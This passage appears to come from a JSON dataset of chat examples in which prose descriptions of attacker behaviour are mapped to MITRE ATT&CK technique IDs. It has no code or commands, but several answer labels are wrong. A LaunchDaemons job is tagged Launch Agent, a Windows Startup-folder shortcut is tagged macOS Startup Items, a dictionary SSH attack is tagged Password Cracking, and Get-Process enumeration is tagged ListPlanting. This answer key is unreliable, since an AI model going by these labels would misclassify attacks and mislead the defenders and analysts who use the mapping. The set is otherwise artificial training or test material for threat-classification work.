                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spearphishing email containing a shortened URL leads the victim to a credential harvesting site."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion uses a remote access tool to provision services in a low-traffic cloud region, aiming to remain invisible to threat hunting."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker integrates a recently released web application exploit into their phishing payloads."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Following a successful phishing attack, the adversary edits the company's internal portal home page, inserting a disruptive slogan."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries reverted a hijacked Azure VM to an earlier image to hide their presence and undo unauthorized changes."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor repeatedly triggers a resource-intensive query on the database through the application's search feature, leading to resource exhaustion and downtime."
            },
            {
                "role": "assistant",
                "content": "T1499.003 - Endpoint Denial of Service: Application Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware injects JavaScript into a trusted site to read and exfiltrate session cookies, enabling the threat actor to forge web credentials."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool scans the device for stored OAuth tokens and exfiltrates them for later use."
            },
            {
                "role": "assistant",
                "content": "T1528 - Steal Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group conducts a large‑scale voice phishing operation, using AI‑generated voices to deliver tailored scams to high‑value executives, seeking credential theft."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages Mimikatz to retrieve clear‑text credentials from memory on a Windows system."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit uses the Windows 'bitsadmin' utility to transfer and execute a malicious executable in the background."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries copy malicious binaries from a compromised host to other machines on the network to execute them remotely."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a sudo bug that allowed integer overflow in command length, the attacker injected a payload that executed with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies an existing launchctl service to point to a remote payload, causing it to run with system privileges."
            },
            {
                "role": "assistant",
                "content": "T1569.001 - System Services: Launchctl"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through cmd.exe, the threat group performed 'ping' sweeps to map internal network hosts."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using \"at\", the attacker programmed a task to start a ransomware encryptor every 15 minutes after infection."
            },
            {
                "role": "assistant",
                "content": "T1053.002 - Scheduled Task/Job: At"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised VPN account to move from the external network into the internal corporate LAN, effectively bridging the network boundary."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hidden script is Base64‑encoded within an image's metadata; the malware extracts and decodes it at runtime."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious .lnk shortcut is attached to an email purporting to be from IT support, and clicking it executes a PowerShell downloader on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a deepfake audio clip of the CEO's voice to convince the finance department to approve a payment."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware writes a launchd job definition in /Library/LaunchDaemons to automatically execute its payload after system boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By sending a request to the metadata endpoint from within a compromised VM, the attacker obtains the instance's IAM role keys."
            },
            {
                "role": "assistant",
                "content": "T1552.005 - Unsecured Credentials: Cloud Instance Metadata API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses a Java application to connect to the victim's POP3 server and grab all messages."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker disables system restore points to make recovery impossible."
            },
            {
                "role": "assistant",
                "content": "T1490 - Inhibit System Recovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker launches an oversized payload attack, sending large payloads in UDP packets to the victim's network interface, saturating the link and denying legitimate traffic."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker runs 'Get-NetTCPConnection' PowerShell cmdlet to list current TCP connections."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malware sample calls the .NET Directory.GetFiles method to enumerate files in a specified path."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages Windows Script Host to generate C# code, compiles it with csc.exe, and executes the resulting assembly."
            },
            {
                "role": "assistant",
                "content": "T1027.004 - Obfuscated Files or Information: Compile After Delivery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing campaign, the attacker uses a compromised content management system to embed malicious iframes into legitimate articles."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script is used to brute-force SSH access by iterating over a dictionary of passwords on multiple IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actor uses SQL injection to alter website content and display defacement messages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects dead code and unused variables into its source to inflate complexity."
            },
            {
                "role": "assistant",
                "content": "T1001.001 - Data Obfuscation: Junk Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary runs regsvr32.exe with the /i flag to load a remote malicious DLL from a C2 server, bypassing application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using compromised credentials, the adversary downloads the entire source tree from a Mercurial repository."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker implements a timer that pauses the malware for 48 hours before performing any network communication, avoiding detection in short-lived virtual machines."
            },
            {
                "role": "assistant",
                "content": "T1497.003 - Virtualization/Sandbox Evasion: Time Based Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses network management software credentials to dump firewall rule sets and NAT tables."
            },
            {
                "role": "assistant",
                "content": "T1590.006 - Gather Victim Network Information: Network Security Appliances"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the CreateProcessAsUser API, the attacker creates a process with a forged token that mimics a legitimate user account."
            },
            {
                "role": "assistant",
                "content": "T1134.003 - Access Token Manipulation: Make and Impersonate Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker adds a new entry under HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run to launch their malware each time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary created a fake login page that mimics the company's SSO portal to harvest employee credentials."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code was hidden inside the metadata of a Word document using steganographic techniques, evading detection until the document was opened."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use the CreateRemoteThread API to inject a malicious PE into a trusted process for privilege escalation."
            },
            {
                "role": "assistant",
                "content": "T1055.002 - Process Injection: Portable Executable Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses administrative rights to import a counterfeit root certificate into the browser's trusted authorities list."
            },
            {
                "role": "assistant",
                "content": "T1553.004 - Subvert Trust Controls: Install Root Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a shortcut in the Start Menu's 'Programs\\Startup' folder that points to a hidden executable."
            },
            {
                "role": "assistant",
                "content": "T1037.005 - Boot or Logon Initialization Scripts: Startup Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exfiltration, the attacker runs a cleanup command that deletes created files and logs."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves routing malicious traffic through multiple proxy servers, each adding a hop to the communication path."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware registers a scheduled task called 'Windows Update' that runs a hidden payload every hour."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor modifies the system BIOS power configuration to keep the CPU at maximum performance."
            },
            {
                "role": "assistant",
                "content": "T1653 - Power Settings"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker acquires confidential source code by paying an insider in the target organization."
            },
            {
                "role": "assistant",
                "content": "T1597.002 - Search Closed Sources: Purchase Technical Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker used a stolen admin credential to modify the corporate website’s CSS, changing the branding to a controversial political message."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries upload a base64‑encoded script to a compromised server, then run a PowerShell command to decode and run it."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors used a compromised service to push a malicious DLL to other hosts via the network share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Google Docs sharing invitation is sent to high‑value users, leading them to a phishing website that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a credential dump, the intruder runs a script that runs 'Get-Mailbox' to list all mailboxes and then extracts their contents."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code extracts a cached AWS IAM role access token from a compromised instance and uses it to invoke privileged APIs."
            },
            {
                "role": "assistant",
                "content": "T1550.001 - Use Alternate Authentication Material: Application Access Token"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uploads malicious JavaScript to a victim's Azure Functions, allowing code execution without needing a traditional server."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modified IAM policies to revoke permissions needed for accessing cloud log data."
            },
            {
                "role": "assistant",
                "content": "T1562.008 - Impair Defenses: Disable or Modify Cloud Logs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Actor exploits a public web service API with insecure authentication to gain unauthorized data access."
            },
            {
                "role": "assistant",
                "content": "T1584.006 - Compromise Infrastructure: Web Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware runs a PowerShell script that calls Get-ItemProperty on HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall to collect software inventory."
            },
            {
                "role": "assistant",
                "content": "T1592.002 - Gather Victim Host Information: Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder exploits a misconfigured trust relationship to add a new federated account."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using API hooking, the malware intercepts calls to the Kerberos authentication functions to harvest ticket-granting tickets."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By accessing the ROMMON console, the attacker uploads a compromised firmware image, establishing persistence at the pre-OS stage."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers added a setuid bit to a critical binary on a Linux system to gain elevated privileges when executed by any user."
            },
            {
                "role": "assistant",
                "content": "T1222.002 - File and Directory Permissions Modification: Linux and macOS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a man-in-the-middle attack on the RDP traffic, injecting commands and taking over the session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The technique involves calling Odbcconf with arguments to register a custom provider, which then loads the attacker’s code."
            },
            {
                "role": "assistant",
                "content": "T1218.008 - System Binary Proxy Execution: Odbcconf"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromise script pulls the list of installed antivirus products and their version numbers from the host."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware stores its command list as a hex-encoded string within the registry."
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors perform a git pull from a corporate Bitbucket server to harvest code assets."
            },
            {
                "role": "assistant",
                "content": "T1213.003 - Data from Information Repositories: Code Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email contains a .png file that looks like a company logo; when the recipient opens the image, a hidden payload is executed via a crafted image parsing vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1204.003 - User Execution: Malicious Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit runs a PowerShell script that calls Get-Process to enumerate processes before injecting malicious DLLs."
            },
            {
                "role": "assistant",
                "content": "T1055.015 - Process Injection: ListPlanting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious browser extension installed from a rogue website grants the attacker access to browsing data and credentials."
            },
            {
                "role": "assistant",
                "content": "T1176 - Browser Extensions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion replaces the default glibc with a tampered version that loads additional malicious code during process initialization."
            },
            {
                "role": "assistant",
                "content": "T1574.006 - Hijack Execution Flow: Dynamic Linker Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant negotiates an encrypted session using ECDH (Elliptic Curve Diffie‑Hellman) to protect its command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group leverages LDAP queries to add a new user to the domain's directory."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leverages systemd's socket activation to start a hidden listener when network traffic appears."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By adding a RTL marker at the start of a DLL name, the attacker deceives analysts into thinking it is a standard library."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The trojan searches for *.docx files on the system and gathers them into a zip archive for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
